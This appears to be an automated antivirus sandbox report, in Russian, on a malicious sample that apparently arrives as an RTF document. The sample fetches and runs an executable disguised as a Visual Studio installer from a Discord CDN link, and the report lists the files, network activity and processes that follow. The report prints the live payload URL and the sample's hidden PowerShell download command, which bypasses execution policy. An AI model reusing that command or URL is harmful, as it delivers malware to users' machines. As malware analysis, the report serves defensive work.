Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://cdn.discordapp.com/attachments/769672705623851018/820603357537894450/vs_community__769017604.1614864217.exe как %appdata%\vs_community__769017604.1614864217.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\abctfhghgdghgh‹.sct
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\newtonsoft.json.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\zh-hant\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\es\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\it\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\pl\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\fr\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\pt-br\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\tr\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\cs\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\de\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\zh-hans\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\ko\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\ja\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\ru\vs_setup_bootstrapper.resources.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\vs_setup_bootstrapper.config
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\vs_setup_bootstrapper.exe.config
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\detection.json
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\vs_setup_bootstrapper.json
- %TEMP%\dd_bootstrapper_20210314011212.log
- %ALLUSERSPROFILE%\microsoft\visualstudio\packages\_bootstrapper\vs_setup_bootstrapper_202103140112188838.json
- %ALLUSERSPROFILE%\microsoft visual studio\machinestorage.dat
- %ALLUSERSPROFILE%\microsoft visual studio\machinestorage.dat.bak
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091254_7889d10186a242a48473937ff32bb144.tmp
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.visualstudio.utilities.internal.dll
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091255_74a889819f5f4046bcc7c367e6407e48.tmp
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.visualstudio.telemetry.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.visualstudio.setup.dll
- <Текущая директория>\~wrd0000.tmp
- %APPDATA%\vs_community__769017604.1614864217.exe
- %TEMP%\dd_vs_community__769017604.1614864217_decompression_log.txt
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1028\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\2052\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1042\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1029\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1036\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\3082\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1040\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1031\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1041\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1055\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1046\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1045\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1049\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\helpfile\1033\help.html
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\vs_setup_bootstrapper.exe
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.c2rsignaturereader.interop.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.c2rsignaturereader.native.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.diagnostics.tracing.eventsource.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.visualstudio.remotecontrol.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.visualstudio.setup.common.dll
- %TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\microsoft.visualstudio.setup.download.dll
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelf144292e-e3b2-4011-ac90-20e5c03fbce5\20210314091255_c8a6751aed444592973f843173c40a75.tmp
Удаляет следующие файлы
- %TEMP%\abctfhghgdghgh‹.sct
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091254_11efcdb2ecf346daa7232289b2d8edd9.trn
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091255_9a2255b9d9174a568568bca57da941f1.trn
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelf144292e-e3b2-4011-ac90-20e5c03fbce5\20210314091255_69785ad6f3894f3da2ef2eeee7021360.trn
Перемещает следующие файлы
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091254_7889d10186a242a48473937ff32bb144.tmp в %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091254_7889d10186a242a48473937ff32bb144.trn
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091255_74a889819f5f4046bcc7c367e6407e48.tmp в %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091255_74a889819f5f4046bcc7c367e6407e48.trn
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelf144292e-e3b2-4011-ac90-20e5c03fbce5\20210314091255_c8a6751aed444592973f843173c40a75.tmp в %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelf144292e-e3b2-4011-ac90-20e5c03fbce5\20210314091255_c8a6751aed444592973f843173c40a75.trn
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091254_7889d10186a242a48473937ff32bb144.trn в %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091254_11efcdb2ecf346daa7232289b2d8edd9.trn
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091255_74a889819f5f4046bcc7c367e6407e48.trn в %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelaif-312cbd79-9dbb-4c48-a7da-3cc2a931cb70\20210314091255_9a2255b9d9174a568568bca57da941f1.trn
- %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelf144292e-e3b2-4011-ac90-20e5c03fbce5\20210314091255_c8a6751aed444592973f843173c40a75.trn в %LOCALAPPDATA%\microsoft\vsapplicationinsights\vstelf144292e-e3b2-4011-ac90-20e5c03fbce5\20210314091255_69785ad6f3894f3da2ef2eeee7021360.trn
Изменяет следующие файлы
Подменяет следующие файлы
- <PATH_SAMPLE>.rtf
Самоудаляется.
Сетевая активность
Подключается к
- 'cd#.##scordapp.com':443
- 'az#####4.vo.msecnd.net':443
- 'oc##.thawte.com':80
TCP
- 'cd#.##scordapp.com':443
- 'az#####2.vo.msecnd.net':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK az#####2.vo.msecnd.net
- DNS ASK az#####4.vo.msecnd.net
- DNS ASK oc##.thawte.com
Другое
Создает и запускает на исполнение
- '%APPDATA%\vs_community__769017604.1614864217.exe'
- '%TEMP%\bf351b7623d58a2f59412d4e336abf69\vs_bootstrapper_d15\vs_setup_bootstrapper.exe' --env "_SFX_CAB_EXE_PACKAGE:%APPDATA%\vs_community__769017604.1614864217.exe _SFX_CAB_EXE_ORIGINALWORKINGDIR:<Текущая директория>"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://cdn.discordapp.com/attachments/769672705623851018/820603357537894450/...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\getmac.exe'
